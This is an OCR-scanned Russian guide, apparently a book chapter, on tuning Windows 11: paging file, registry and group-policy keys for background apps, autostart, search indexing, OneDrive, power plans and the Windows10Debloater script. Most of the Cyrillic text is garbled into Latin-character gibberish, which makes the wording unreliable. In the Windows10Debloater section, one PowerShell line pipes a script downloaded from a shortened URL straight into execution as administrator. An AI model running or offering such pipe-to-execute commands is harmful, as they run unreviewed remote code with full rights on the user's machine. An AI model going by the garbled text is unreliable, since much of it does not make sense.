KaMH OBICTPOIEHCTBUA CHCTEMBI, NO3BOJIABIIEE OTKIIOYHTH BH3yaibHble 3¢¢ekTsl. Ha
CKOPOCTb OTKJIMKa HHTEepdeHca 3TO NOPOH 0Ka3bIBajO LETHTENbHOE Bo3AeHCTBHE. Takoe
e OKHO ecTb U B Windows 11, HO Teneps OHO 3aphITO CTOJIb ITy6OKO, YTO ITPOCTO TaK HE
OTBIILEILb.

€ Napamerpu :
R admin C ucrema > rn.,..mp. GuicTpogesicTann x
N L3veX
TestComp B Aoneppt a6 3107 MK
Hairy napamerp o VirtualBox
BeiGepure napamerpoi odoprnenna n Goictpogenctenn Windows
ANR 37070 KOMNBIOTEPA.
_L- Cucrama o - Memeg repUCTIIH OBocc noy \Bato ~
Ceoiicrea cucrent O O6ecnevints xanyuLumit Bug r
rrise: e ; w pobcr - O Obecneunts Hanmyulee GbicTpoaeRcTENE
Dommuremo Sawm ocTeew Yaansean ocryn H | © Ocobuie >pdexc
#eccop
HeoGin 13940 veeTs MDED2 22 SPoCTRITOPA QAR DT> HA COMAIOCTSD | | O Avmnztinn va nawenu sagau
’ i;amsnin m 0a koK NpH caep  passep
B, fovpodicTeal Oa ynp " BHYTDM ORr:
= - | (O Bumwouenne Peek
eTyanol naam fipoayxta | | O Buisoa 3cxusos smecto 3ravkos
tmcremsr | |(O Frasxoe npokgyumsanne crmckos I
Tapamerpe ' R { (O 3aryxanue menio nocne BbEOE2 KOMHAS! =
I Oq 10 ors Tened Ha pab crone P
Mbodwm noresosaTened t
i0 Or06paxenne NPO3PILHOro NPRMOYTONBHWKS BEAENEHNS
n patowmro cTona. KO BXDAY 5 CHCTEMY 3 10 ovob OKH3 ripn |
Teme fD Orobpaxerne Tenest, OTOPICHIBAEMBI OKHAMM I
i 10 Tenu NOA Y MBI i
i [ ] 3
1 pParrsis |
3apy™a 4 soccTaCRRervE {3 Cxonmxenne npw pacepeimn cnnckos i
3apymau oxTew. ol ‘ = Coxpanenne BAa 3CXHIOB Nanenh 32834 L
10 dpdexnn “nmc npw o6p X Menio
Napae e Yepucr 100 3gpexrui sary win ¢ npn noAcKa30L  mar, ~
=
fex
(
l OK OrMera Mpumersas
e 4 X o
pomees yCTaHoBKK v o s 4
= I 14:.07
s Om mnueiﬁw ABGE e QD o0 @

Puc. 11.5. Hactpovika GeicTpogeicTaus
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Uro6sl HAaHTH 3Ty HAcTpPOHKy, OTKpoH «IlaHeab ympaBJieHMs», INEJIKHH MBILBIO Ha
kHonke «CHcTemMa)» B J1€BOH 4acTH OKHA, NPOMOTaH CIIMCOK B CaMblif HU3 M HaXXMH Ha
Haanuchk «O cucTteme». B oTkphIBLIEHCS BKIIagKe HaXXMHU Ha «/{OMOJIHUTeAbHbIE Mapa-
MeTpbl cucTeMbl». Ha 3kpane nosBurcsa okHo «CBoHcTBa cucTeMbl». Haxcmu Ha kHom-
ky «Ilapamerpsbl...» B pa3aene «bbicTpoaeiicTBHe». B HOBOM OkHe BHIOEpH MyHKT
«ObecneyuTh Hamayvulee ObicTpoaeiicTBHe». 3xech s OBl OCTaBHI BKIIIOYEHHBIM
€IMHCTBEHHbIH MyHKT — «CriaskuBaHHe HEPOBHOCTeHl JIKpPaHHBIX WIPHEPTOB», IO-
CKOJbKY 6e3 Hero MHTepdeHC BBINIAIUT COBCEM YK TOCKIHBO. OCTalbHBIMH KpPacHBO-
CTSMH BIIOJIHE MOXKHO MOXeEPTBOBaTh (puc. 11.5).

B 3TOM e okHe OTKpoil BK1aaKy «/l0OMOJHHTENBHO», HAXXMU Ha KHONKY «A3MEeHHTDb» B
pasnene «BupTyaabHas maMATb» H cOpoch (1akok «ABTOMATHYECKH BbIOHpaTh
o0nem ¢aiina mogkaykH». 3aTeM, yCTaHOBHB NEPEKIIIOYATEND B MOJOXKEHHE «YKa3aTh
pa3mep», 3aj1aif MUHMMAIIbHBIH K MAKCUMAIbHBIH pa3Mepsl daiina noaxauku. PexoMen-
JyeTcs aBaTh CBOILy BO3MOXKHOCTh 3aHMMaTh KaKk MUHUMYM BIBoe 6osblie o0bemMa TBO-
et oneparuBky (puc. 11.6).

BuptyanbHan namaTh X

() AsTomatuueckn Bbibnpath 0bbe M Paina noAKaUKK

Pasmep paisia Nogkaukm a8 KIKAOFO ANCKS
Avcx [merxa Toma) @aiin nogxavxu (MB)

Boibpasiibii gnc: G

Csoboaro: 311411 Mb
© Yxasams pasmep:
MicxoaHbin pasmep (MB): 16000

Maxcnmansibin pasmep (MB): 3200d

O Pasmep no Buibopy ccTemb
O bes datina noaxaukn 3apats

O6uiuih obbem daitna NoAKaKI Ha BCEX AWCKX
MatnmansHbid pasmep: 16 Mb
Pexomengyercs: 1435 Mb
Texyuwi pasmep: 1472 Mb

Puc. 11.6. Hacrtpoiika pasmepa carina nogkauku

MoxHo pa3sMECTHUTD (l)aﬂﬂbl INOAKAa4YKH Cpa3y Ha HECKOJIbKHX OHCKaXx. Vkazas HYXHBIC
mapaMeTpsl, HAXXMH Ha KHOIIKH «3aparb» H «OK».
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Tyt xe, B «[laHesu ynpasJieHHsI», HMEET CMbICI 3arnsHyTh B pazaen «Ilepconann3a-
HHsA», HaXaTh Ha KHOMKY «llBeTa» M nmepeaBHHYTh BieBO nepekiaroyarens «IPPeKTbi
npo3pa4yHocTH». KoHeuHo, onpeaeneHHyo 100 mapma opopMieHHe BUHIbI OT 3TOrO
YTPaTHUT, HO OTKIIIOYEHHE MPO3PAYHOCTH HEMHOI'O CHU3UT Harpy3Kky Ha cuctemy (puc. 11.7).

Napamerpst

6 Valdnii Holniogeei oHanusaums > LiBera

Cets u Mutepuer
flepctonanmniauus
) Ocobu

Npunoxerus Veoonie

YueTHsie 3anucy

Bpems w A3vik

THAHUO Temuoin

KondmaerunansHocts 1 Besonac

Uewntp obroanesnn Windows 9 KoHTpacTHbii user Bpyunyio

Puc. 11.7. OtknoueHne Nnpo3payvHocTv

OTkniovaem hoHOBbLIE NPUNOXKEHUA
U YUCTUM aBTO3arpy3Ky

[Tpeapinyine MaHUIYNALUMH HE CIMIIKOM MHE MOMOIJIH: BUHIA HEMHOIO OXHJIA, HO 10
TpeOyeMoro pe3yibTaTa 0OKa3auoch elle o4yeHb aaneko. [pyroi cnocod HeMHOro BCTpsx-
HYTb CUCTEMY — OTKJIIOYHMTb JIMIIHHE npouecchl Bpoae KopraHbl, moctosHHO paboTtato-
e B OHOBOM pexuMe, a 3a0I1HO yYOpaTh BCce HEHYXHOE W3 aBTO3arpy3ku. JTUM H 3ai-
MeMcsl.

B otnuuue ot Windows 10, B 11-i BUHIe Hcye3na onuus OTKIKOYEHHs cpa3y Bcex (OHO-
BBIX MPHJIOXKEHHUH, BMECTO 3TOro pa3paboTYMKM MpeasararT NOJb30BaTeNsAM BbIpyOaTh
ux no ogHoMmy B «[laHenu ynpaBieHHs». 3a OTCYTCTBHEM COOTBETCTBYIOLUEH HACTPOHKH
B M0JIb30BaTEILCKOM HHTEpdeiice Mbl MOXeM oOpaTtuThest k Penakropy peectpa. 3anyctu
regedit ¥ NEPENIH BOT B 3Ty BETKY:

HKCU\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications
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B aTOM pasnene co3mai mapamMeTp DWORD C HMEHEM GlobalUserDisabled H NPHCBOH €My
3HayeHue 1. Temepp MOXHO OTKIIOYHTH (GOHOBBIH MNPOLECC BCTPOEHHOrO IOHCKA
Windows. JI71s 3TOro CHOBa HILEM BETKY peecTpa:
HKCU\Software\Microsoft\Windows\CurrentVersion\Search

U cozpaem nmapameTp DWORD C HMEHEM BackgroundAppGlobalToggle H OCTaBISIEM Y HErO
IPHHATOE M0 YMo4aHuio 3HadeHue 0 (puc. 11.8).

‘ Pesaxrop peecrpa - a X
Qasin [lpaska Bua Wsbpanmoe Cnpasxa ]
Komnbrotep\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications

i Web Service Providers Wnis Tun 3Hauene

“’ xs :ﬂ (Mo ymonuauma) REG_SZ (3nauenrme He nprcsoero)
fm"h“"’,"“ dAccessConfiaurati 8 Migrated REG_DWORD 0xQ0000004 (4)

am Ssgnechcceantg ¥ GlobalUserDisabled REG_DWORD 0x00000001 (1)

= CurrentVersion

; &5 AccountsService
7% AccountState

¢ ActivityDataModel
% Advertisinglnfo
pp Paths

-

» =iz AppBroadcast

> T AppHost

> 75 Applets

.22 ApplicationAssociationToast
> =1 Authentication

- BackgroundAccessApplicati
> %% CapabilityAccessManager

-I& cop [
:;---:, Census

» 25 ClickNote

- CloudExperienceHost
> T3 CloudStore

713 Communications
2% ConnectedSearc

L e .a

Puc. 11.8. OTkniodeHne paboTbl POHOBLIX NPUNOKEHNA

OnHako B xole OOHOBIEHHS ONEPAlLMOHKAa MOXET IMepenucaTh 3TH 3HaYEHHs peecTpa,
BEpHYB HX B [€PBOHAYaJbHOE COCTOSHHE, IMOITOMY AJS HAJE)KHOCTH HMEET CMBICI 3a-
NPETUTH 3alycK (GOHOBBIX NPHUIOKEHHH B IpynmoBeIx nonuTHkax Windows. Haxwmu
Win-R, Habepu B OTKpHIBIIEMCS OKOILUKE gpedit.msc U HaXMH Enter. Ilepeiinu x pasne-
Iy «AaMHHHcTpaTHBHBbIe ma0a0Hbl — Kommnonentsli Windows — Konpuaeniu-
aJbHOCTh NMPHJIOKeHHs». B crucke OTHILM MYyHKT «Pa3peliuTh NPHIOKEHHSAM s
Windows pa6oTath B (JOHOBOM pexxHMe» U JBaXKIbl LIEJKHA HAa HEM MbIUIbI0. B oT-
KpBIBIIEMCS OKHE YCTaHOBH IEPEKIIOYaTeNb B NON0KeHHE «BKII0YeH0», a B pacnoso-
KEHHOM HH)KE€ MEHIO BBIOEpPH NMYHKT «3ampeTHTb NMPHHYAMTEJbLHO». 3aTeM HaXMH
«IIpumenntb» 1 «Ox» (puc. 11.9).

Ocranoce ybparp BCE NHILHEEe H3 aBTO3arpy3kd. Haxxmu HeXHTpyr0 KOMOMHALHMIO Kia-
Bui Ctrl-Alt-Del, BoiOepu B OTKpBIBILIEMCS CIIHCKE MYHKT «/{HcmeTyep 3axauy», B HUX-
Hel 4acTu okHa «J/lucneryepa» HaxxMH Ha cchlIKy «IlogpoOHee» M OTKpoH BKIagKy
«ABTO03arpy3kay (puc. 11.10).
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Puc. 11.9. OtknioyeHve paboTbl hOHOBBIX NPUNOXEHUIA C MOMOLLBIO peaakTopa rpynnoBbiX NONMTUK

ihid RucneTuep 3apay

Qain Mapamerpnt  Bug
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@ Microsoft OneDrive

B Microsoft Teams
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P Windows Security notificati...
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Puc. 11.10. OTknioveHne aBToMaTU4ecky 3arnyckaembix Nporpamm
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3nech MpeAcTaBieHbl BCe NPOrpaMMbl, 3alyCKaeMble OJHOBPEMEHHO C OINEpPaLHOHHOM
cucteMoi. Haliau cpean HUX Te, KOTOpble UMEIOT CTaTyc «BKiIl04eHO», HO IPH 3TOM He
HYXHbl Tebe nocTosHHO. [Ipn HEOOXOAUMOCTH Thl CMOXELIb 3alyCTHTb HX BPY4YHYIO.
[lenkait Ha HUX NPaBO KJIaBUILIEH MBILIK U BEIOUpal B KOHTEKCTHOM MEHIO MyHKT «OT-
KJIIOYHTBY.

HexoTopsle npuiioxeHus, KOTOpble ObUIH 3aMylLlIeHbl B MOMEHT BBIKJIHOYEHHs KOMIIBIOTE-
pa, cHUCTeEMa MOXET Iepe3anyckaTb aBTOMAaTHYeCKU MPHU MOBTOPHOM Bxoje. UToOBI BbI-
pyOuTh 3Ty ¢pyHKUHIO, OTKpOoH «IlaHenb ynpaBJieHMsi», Nepeian B pa3fen «Y4eTHbIe
3anucu — BapuaHTBI BX0Ja» U NEpeIBHHDb BIEBO MEPEKI0YaTeNlb «ABTOMATHYECKH
COXPaHATHL MOM Nepe3anycKaeMble NMPHJIOKEHHS M3 CHCTEMBI M Mepe3anycKaTrb HX
NpH MOBTOPHOM BXO0/1€».

[TooTknro4aB TakuM 06pa3oM Bce HEHYKHbIE IPUIIOXKEHHS, Iepe3arpy3u KOMIBIOTeEp.

JononHutenbHasn HaCTpOﬁKa MNOUCKa

[To ymonuanuio B Windows 11 BkiroueHa uHaekcauus ¢ainos, a Takke Tak Ha3blBae-
MBI} paclUMpPEHHBIH MOUCK, MO3BOJAIOIIMA UCKaTh HE TOJBKO MO Ha3BaHUAM (aiaoBbIX
00bEKTOB, HO U MO UX coaepkHUMoMy. C OIHOH CTOPOHBI, 3TO O4YEHb yJ00Has BO3MOX-
HOCTb, C APYTroH — MHJEKCaLUsA U paClUUPEHHBIH NOUCK MOTPEOIIAIOT PECYPChl CUCTEMBI.
Ecnu Te He nonb3yeubes 3TUMH QYHKUHMAMH, HX MOXKHO OTKJIIOUHTb.

Hns atoro otkpoii [Tanens ynpaenenus («Ilyck — IapameTpsbi») U nepeiau B pasaen
«Konpuaenunansuocts 4 3amiuta — Ilonck B Windows». YcraHoBU nepekitoyaTels
«ITouck ¢aiinosy» B nonoxenue «Kinaccuueckuii ctuaby» (puc. 11.11).

KouduperumansHocTs v 3aumra > Mowuck B Windows

Cocrontune nHaeKcauun

£ Knacowsecnsis crian

Pacuimpesti

VICKuoumTS NAMNKK W3 PRCUWHPEHHOTO NONCKA

3 causers\Defauit\AppData)

BOu BO0OZ@alEEeEEONT @ ~wmouaw, 0

Pwuc. 11.11. Hactpotika noucka 8 Windows 11
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Yro6bl OTKIIOUHTH C1yk0y MHIOEekcHpoBaHus, HaxmMH Win-R, Habepu B oTKphIBIIEMCH
OKOIIKE services.msc H HaXMH Enter. B criucke ciyx6 oteimuu Windows Search u nBa-
XIBI IEJKHH Ha 3TOH HaOIHCH MBIIbIO. B OTKpBIBIIEMCS OKHE HOXXMH Ha KHOMKY «Oc-
TAaHOBHTb», 3aTeM B MeHI0 «Tun 3amycka» BbIOepH NYHKT «OTKJIIOYEHA», HAXMH
«ITpumenutb» U «OK» (puc. 11.12).
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Puc. 11.12, OTknroyeHne MHAEKCUPOBAHUA

BknioyeHue KOHTpPONA NaMATHU

Oynkuus «KoHTponbs namaTuy (storage sense) OTciexHBaeT 06beM CBOOOJHOIO AHUCKO-
BOTO [TPOCTPAHCTBA Ha KOMIIBIOTEPE HIIH HOYTOYKe, 1 CBOEBPEMEHHO YAAlII€T HEHY>KHbIE
BpeMeHHbIe (aiibl ¢ TUCKOB, 4TOOBI 0cBOOOIUTH MecTo. [To yMomuanuto B Windows 11
9Ta QyHKIMS OTKIIOYeHa. YToObI BKIIOUHTH ee, oTKpo# [TaHens ynpasnenus («Ilyck —
ITapameTpsi»), B pacro0XXeHHOM clI€Ba CIHCKE BbIOEpH MyHKT «CHeTeMay M nepeiau
B paszgen «[lamare» (puc. 11.13).

IlepenBuHs BpaBo nepekatoyatensb «KOHTPOJIb MaMATH» U IIEIKHH MBIIIBIO HA 3TOH
HaJITUCH, YTOOBI HACTPOUTH QYHKLHIO yOAIeHHs JTUIIHUX QainoB Ha auckax (puc. 11.14).

31ech MOXHO yKa3aTh:
O nepuoan4HOCTSH 3anycka «KoHTposs naMaTi» (1 BeIOpall exxeHeqeNbHbIH 3aImyck);

O nepuon, yepe3 KOTOPbIH OyoyT aBTOMaTHYECKH YAAIATbCA HEHUCIIOJIb3yeMble (aibl
U3 nanku «3arpy3ku» (s Beiopan 30 nHei);
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0O nepuoa, crmycTs KOTOpBIH HM pa3dy He OTKpBIBaBUIMeCS GaHIbl B JHYHBIX MamkKax
nojb3oBaTens OyayT AocTynHbI Toabko B obnake OneDrive, a nokanbHas konus Oy-
JeT ynaneHa (¢yHKuMs paboTaeT TONBKO IPU HCHONb30BaHHMM YYETHOH 3allMCH
Microsoft u ecnu cunxponusanus ¢ainos ¢ OneDrive BKIItO4€eHa).

B nenoMm «KoHTponb maMsaTH» MOJI€3€H TEM, 4TO (03epy Oojblie HE HYXXHO AyMmarh 00
yZAaleHHUH BPEMEHHBIX (ainoB, ogucTke «Kop3uHbI» M nmanku «3arpy3ku» Bpy4HYH —
cucteMa Oyner aenaTh 3TO aBTOMAaTHYECKH 4Yepe3 3alaHHble MPOMEXYTKH BpeMeHH. Jlns
HOyTOYKOB ¢ HebonbIuM 110 06beMy SDD — To, 4TO JOKTOpP NMpOMNHcal.

OtknouyeHue OneDrive

Ecnu ThI He MoJNB3yelibcs Y4ETHOH 3anuchio Microsoft unu momnpocty He enaems xpa-
HHUTb CBOM (aifIbl B «MErKOMATKOM o0Jjlake», a Takke CHHXPOHM3HPOBAaTh MX Ha He-
CKOJIBKHX YCTpo#cTBax nop ynpasnenuem Windows, OneDrive MoxHO oTkn04HTh. ECiin
npuioxeHne OneDrive 3anymieHo, B o61acTi yBeJOMJIEHHH MaHeNIH 3aJay psaoM C 4Ha-
camu Oynetr otobpaxarbcs 3Ha4ok obnayka. Eciu npunoxkeHHe He 3amylIeHO, OTKPOH
TJIaBHOE MEHIO ¥ HabepH OneDrive B CTPOKE IOKCKA.

llenxHu Ha 3Hayke ¢ M300pakeHHeM o00jayka B Tpee NpaBOH KIaBHILEH MBILIM U B OT-
KpbIBLIEMCS OKHE HaXXMH Ha KHONKY «CnpaBka H mapaMeTpbI», U B KOHTEKCTHOM Me-
Hio BeIOepu nyHKT «Ilapamerpni». B okue «Microsoft OneDrive» oTkpoH BKIaaky
«ITapameTpbI» U cOpoch Qrakok «ABTOMaTHYecKH 3anyckath OneDrive npu Bxoae
B Windows» (puc. 11.15).

@& Microsoft OneDrive X

NapaeTpe  yyemsas sames  Coenesm

Obuwe
. ABTOM3TUNEOQWM 3EYOXATL OneDrive pu sxoAe 8 Windows

Yseaonorsto

(] Koraa nomb3o8aTesst epeaaoT e haitd e HIHSHIOT Mon obume
bain

@ v yaanerss: o (] cTRa hatnoe 8 obinaxe

8 Kor2a OneDrive rpeandraeT HOBYIO KoAnBXLI0 BoTarpadrel u BMaeo

[ | omea

Puc. 11.15. Otknouenne OneDrive
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OTKnoYeHne UrpoBoro pexuma

B Windows 11 «n3 kopoOKu» BKIHOYEH Tak Ha3plBaeMblH «PexuM Hrpel» — QyHKIH,
NpU3BaHHas CHU3UTb Harpy3Ky Ha rpagMuyeckui yCKOPUTENIb U LEHTPalbHBIH MpoLieccop
NyTeM IepeHanpaBlieHHsl OCHOBHBIX PECYpPCOB Ha 3alyIueHHbIH npouecc Urpbl. ITockonb-
Ky Ha MOEM HOYTOYKe M3 UIp YCTaHOBJEH TOJIbKO NacksiHC «KocblHKaY, 3Ty QYHKLHIO 5
Ha BCAKHH Clly4ail OTKIIOYHII.

JlenaeTcs 3TO Tak: B MaHeJH yNpaBJleHHs 1nepexoauM B pasaen «Arpobi», HaxumaeM Ha
kHONKY «rpoBo# pexxum» M Ha ClieIyIOLIEM JKpaHe NepeMellaeM BblkItoyarens «Pe-
3KHM HTPbI» BieBo (puc. 11.16).

Holmogorov Urpei > Urpoeoi pexxum

Pesm

Conyrcrayiowume napamerpe:

HOou B0 uBRECEECEONTRE ~wouo,

Puc. 11.16. OTknioueHne pexuma urphl

Ilocne aToro MoXxHO 3arfisgHyTh B coceqHHui paznen «Xbox Game Bar» W BBIKIIOUHTH
dyHkuuio «OTkpbiBaiiTe Xbox Game Bar HaxaTHem 3Toil KHONKH Ha reiimnane» —
€CJIM ThI 3THM CaMbIM IedMIaZioM He MOJIb3YEIbCs.

Bkno4yeHne MakCMManbLHON npon3BoauUTeNnbHOCTU
B napamMeTpax 3N1eKTponntaHus

B Hacrpoiikax 3nektponuranus Windows 11 no yMonyaHHuIo BKIIOUEH cOanaHCHpOBaH-
HBIM peXHM, KOTOPBIH UCIONB3YET WAaAUHe NapaMeTpbl MPOU3BOAUTENBHOCTH MpOLEC-
copa. [Ins HOyTOYKOB Jy4lle BCEro OCTaBUTh HMEHHO 3TOT PEXHM, HO €CJIM BUH/A yCTa-
HOBJIeHa Ha HacToJbHOM [1K, MOXXHO He CTEeCHATHCS M 3aJ€MCTBOBATH €r0 BO3MOXHOCTH
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1o MakCHMyMy. [{111 3TOro B maHe/IM ynpaBJieHHs nepeiau B pasaen «Cucrema — 3a-
BeplueHHe paboTbl M GaTapesi», H B paclONIOKEHHOM CIIpaBa MEHIO «PeKHM MUTaHHSA»
BbIOEpH MYHKT «MaKc. NPOM3BOAHTEILHOCTHY.

Ecnu 3TOT MyHKT B MEHIO OTCYTCTBYET, MpPUAETCA HEMHOro nmokonaoBatb. Haxmu Ha
3Ha4OK JIyIbl B MaHENH 3a/1a4, BBEOH B CTPOKE MOUCKA «MAaHeJb YNPABJEHHNA», YTOOKI
OTKPBITh KJIACCHYECKHH BapHaHT JTOH MaHENH, B PACIIOIOKEHHOM CIIpaBa CBEPXY MEHIO
«IIpocmoTp» BrIOEpH NyHKT «KpynHble 3HAYKH», 3aTEM LIEJKHH MBIIIBIO. HA 3HAYKE
«JaexkTponuTaHue». B pacnonoxeHHOM clieBa ciHcke HaXMH Ha Hagnmuch «Co3gaHue
CcXeMbl YNpABJIEHMN 3JIEKTPONMTAHHMEM)», YCTaHOBH IE€PEKIIIOYATENb B [OJIOXKEHHE
«BbIcOKas MPOM3BOAMTENBHOCTBL» H HaxMH «/lanee». B cienyromeM OkHe OTKIIOYH
Nepexol B CIALIMA PeXHM IpH paboTe KOMIBIOTEPA OT CETH H HaXXMH Ha KHONKY «Co3-
aatb» (puc. 11.17).

Coszaanne cxemsl ynpasaeHnA NUTaHNEM

VismenuTe CyutecTeytouyto CXxeMy w NPUCBONTE el iR,

Oce P (pe ayescn)
AsTomatnuecxkoe cobntoaerne 6ananca Mexgy NPON3BOANTENLHOCTLIO K SHepronoTpebneHnem
Ha NPMTOAHOM ANA 3TOro 060PYACBIHKHN.

(O 3xonomus 3neprmm

MunumManbHoe 3HepronoTpebneHne 33 CUeT yMeHbUIEHWA POMBBOANTENLHOCTH KOMNBIOTEP3,
KOFA3 3T0 BO3MOXHO.

© Buicoxan npovasopuTensHocTs
MakcnmanbHas NPON3BOAKTENBHOCTb (MOXeT noTpeboeaTbca Gonblue 3Heprnm).

Hassanune cxembr
Mos Hactpansaeman oxema 1

i_ Aanee Otmena

Puc. 11.17. BrniloueHune pexunMa MakCUManbHOW NPOU3BOANTENBHOCTH

OTknioveHue komnoHeHT Windows
M yAaneHue nporpamm

B o6HoBneHHo# naHenu ynpaeineHds Windows 11 ecTh CBOH anruiet [uis ynaneHHs pa-
Hee YCTaHOBJIEHHBIX MMPOrpaMM, HO MHe 0OoJjiee NMPHUBBIYHO KiIaccHYeckoe OKHO. YToOBI
OTKpHITh ero, HaxxMu Win-R, Habepu B OTKpHIBLIEMCS OKOIUKE appwiz.cpl M HaXXMH
Enter. OTkpoeTcs KJIacCHYEeCKOE OKHO «YCTAaHOBKA M yAajeHHe MPOrpamMm» — TaKoe
Xke, KaK B cTapoi u nodumoii Bcemu Windows 7. Kak UM nosnb3oBathcs, Qymaro, o0bsc-
HATb HUKOMY He Hy»Ho (puc. 11.18).

CrneBa B 3TOM OKHE — HAaIIMHCh « BK/IIOYeHHEe H OTK/II0YeHHE KOMIOHEHTOB Windows»,
KJIMK 110 KOTOPOH OTKPBIBa€T OKHO CO CITMCKOM CHCTEMHBIX KOMIIOHEHTOB. CremyeT
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MOMHHTD, 4YTO 3Ta (YHKLUHSA HMEHHO OTKIIIOYaeT HeHyXHble ¢yHkuun Windows, HO He
yOanseT COOTBETCTBYIOIINE (aiibl ¢ JUCKa, MO3TOMY IOJIB30BAaThCA ITHM HMHCTPYMEH-
TOM C LI€JIbI0 3KOHOMHH JHCKOBOTO MPOCTPAaHCTBa GECIONE3HO YyTh MEHEE, YEM MOJIHO-
cThiO. [N yOaneHus e HEHY)XXHbIX MOZYJIeH ecTb OoJiee MpOABHHYTHIH HHCTPYMEHT, O
KOTOPOM 5 paccKaxy Jajee.

Manens ynpasnesors —

AR CTEH YAANEHHE UAK HIMEHEHHE NPOT PIMMBS
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Puc. 11.18. YaaneHue nulHux nporpamm

Ucnonb3oBaHue Windows10Debloater

Windows10Debloater  (https://github.com/Sycnex/Windows10Debloater) — 310
ckpunt Ha PowerShell, co3naHHbIf He3aBUCUMBIMHU pa3paboTunkaMu eme 1y Windows
10. OH mo3BONSAET yOANHUTh U3 CHCTEMbl HEHYXXHbIE clyxObl U mpunoxeHus. S nporec-
THpOBaJ 3ToT ckpunT B Windows 11 u B uenoM oH orpaboran HopManbHo. OQHaKo ero
BCE-TaKH CJIEAYET MCIOJB30BaTh C OCTOPOXKHOCTBIO: MAJIO JIH YTO OH OTJIOMAaeT B HOBOH
Bepcuu OC? B obuieM, s npenynpeaun!

Yro6sl 3amyctuts Windows10Debloater, oTkpo# riaBHoOe MeHI0, HaGepH B CTPOKE IOHC-
ka «powershell», 3areM HaXMH Ha CTpPENOYKY CIpaBa OT IOSBHBLIErocs 3Hayka
Windows PowerShell u knukHM Ha HaamucH «3anyck OT HMEeHH aIMHHHCTPaTopa» B
mpaBoii yacTH okHa (puc. 11.19).

B otkpsiBiieMcs okHe PowerShell Habepu crneayromyro koMaHay:

iwr -useb https://git.io/debloat|iex
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O Windows Powe(SheM|
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Puc. 11.19. 3anyck PowerShell ot umeHu agMuHucTpaTopa

Komanna aBromarudecku 3arpy3uT H 3amyctut WindowslODebloater. Buemnuit Bua
MIPUJIOXKEHH ITOKa3aH Ha cieayromnieM ckpuniore (puc. 11.20).

Haxcatnem OykBasibHO ofHOH KHOMKH B okHe Windowsl0Debloater MOXXHO BBINOJHHTH
cleayoluye aeiCcTBUS:

O Uninstall OneDrive — nmonHocTeo yaanute OneDrive u3 Windows;
O Unpin Tiles from Start Menu — B Windows 11 He pabotaer;

O Disable Telemetry/Tasks — mnonHOCTBIO OTK/IIOYaeT cOOp NAHHBIX M CBsi3aHHbIE
¢ TeneMeTpHeit 3anaun [Tnanuposinuka 3agad Windows;

O Remove Bloatware regkeys — ynanser U3 peectpa KJIHO4YH, CBA3aHHBIE C «JIHIIHH-
MH» MIPUIIOKEHUAMH;

O Install .NET V3.5 — ycranasnuaet .Net Framework Bepcuu 3.5.

YyTh BbIlIE MOXKHO OTKJIIOYHUTh HakaTeM kHomnku Disable Koptany, npocmorp PDF-
¢aiinos B 6paysepe Edge u ncnons3oBanue TeMHoi TeMsl Windows.



REGISTRY CHANGES

CORTANA EDGE PDF DARK THEME

HOLEDUBSR e HEOODT AB  ~oevan 2

Puc. 11.20. Windows10Deblaater

Puc. 11.21. Buibop npunoxeHuin gns yaanexus
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Yrobbl BeIOpaTh npuioxeHus, koropsle Windowsl0Debloater no3Bossier yaanurs, Ha-
»MH Ha kHonky Customise Blocklist. [IporpaMMa BbIIaCT CIMCOK BCEX JOCTYIHBIX KOM-
HNOHEHT. 31eCh MOXKHO yIalIUTh Urphl, IpuioxeHHe Xbox, aaxe Kanbkynsarop, Paint u
JOpyTHe cTaHaapTHele nporpaMmbl. COpoch (QuIakku ¢ Ha3BaHUH Tex KOMIIOHEHTOB, KOTO-
pble Thl Xodemwb ocTaBUTh B Windows, a IOTOM HaXXMH Ha KHOINKYy «Save custom
Allowlist and Blocklist to custom-lists.ps1». Eciu Tel cOMHeBaembes B TOM, HY)KHO JIH
Tebe kakoe-mu00 NpUJIOKEHHE M3 CHHCKA, Jyylle He yaanats ero. Ha Bcskui ciyvan
HOBTOPIO €lie pa3: YCTAHOBKA ¢yiaxka yJaJMT NPHJIOKEHHE, 2 CHATHE ero — Hao0o-
poT, coxpaHuT (puc. 11.21).

Tenepr MOXHO ynanuTh BbIOpaHHBIE NPUJIOKEHHS HakKaTHEM Ha KHOINKY «Remove
bloatware with custom blocklist». [Tocne 3aBepiieHnst npouenyps! nepe3arpy3u KoM-
HBIOTEP, YTOOBI H3MEHEHHS BCTYIHIIH B CHILY.

BbiBoAbI

B pesynbraTe Bcex NpojenaHHbIX MHOIO MarHueckux MaHunmynsuuid Windows 11 Hagana
paboTars HamHOro urycrpee. Oco6eHHO YCKOpEHHE CTall0 3aMETHO IOC/IE OTKIIOYEHHS
IIOMCKOBOH HHIEKcauud M OJOKHpOBKH ()OHOBBIX MpuiIoxeHHH. KoHeuHo, «ieTaTbh»
BHHJA BCE-TaKH HE Hay4HJach, HO MPOrpecc B IUIaHe ObICTPOJCHCTBHS CTal OYEBHEH,
u paboTaTh Ha HOYTOYKe cTajlo HaMHOro npHsTHee. Hanerock, 3TH coBeTsl NOMOTYT Tebe
yckoputh Windows 11 1 Ha TBOEM KOMIBIOTEPE, AaXe €CIH €ro KOH(PHUrypauus He CooT-
BEeTCTBYeT TpeboBaHUsAM Microsoft.
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TBuknHr Windows 11.
HacTtpanBaem HOBYIO BUHAY
ans komgpopTHon paboTtbl

BanenmuH Xonmoeaopoe

B Hauane oxta6ps 2021 rozxa Beinia Windows 11. OHa crana aBomouuen AecsaToi Bep-
CHH, U ee OOHOBIECHHBIN HHTEp(peEHC (BKIOYas HOBYIO MaHENb 3aa4y U INIABHOE MEHIO)
JJAJIEKO HE BCEM IpHILeNcs Mo BKycy. OIHaKo BCerga OCTaercsi BO3MOXXHOCTb ITOKOBBI-
PATHCA B HACTPOHKax, YTOObI ONepallMOHKa CTaja HEMHOro 0ojiee NpUBBIYHOM U YA00HOH
B pabore.
I'Ipe»qqe YeM ne3Tb B HaCTpOﬁKVI BUHAObI, HACTOATENbHO pekoMeHOQyeM Co3aaTb TOYKY BOC-
CTaHOBMEHUS, a eLle Ny4ywe — NonHOCTLI0 3ab3kannTb CUCTEMHBLIW pasagen. Bce gencrsus,

OonucaHHble B 3TOW rNase, Tbl BbINOMHAEWbL HA CBOW CTpax u puUck. Hun aBToOp, HX peaakuusa
He HecyT HWKaKOW OTBETCTBEHHOCTU 3@ BO3MOXHbI€ NOCNEeACTBUS.

Co3naem pe3epBHYIKO KONUIO

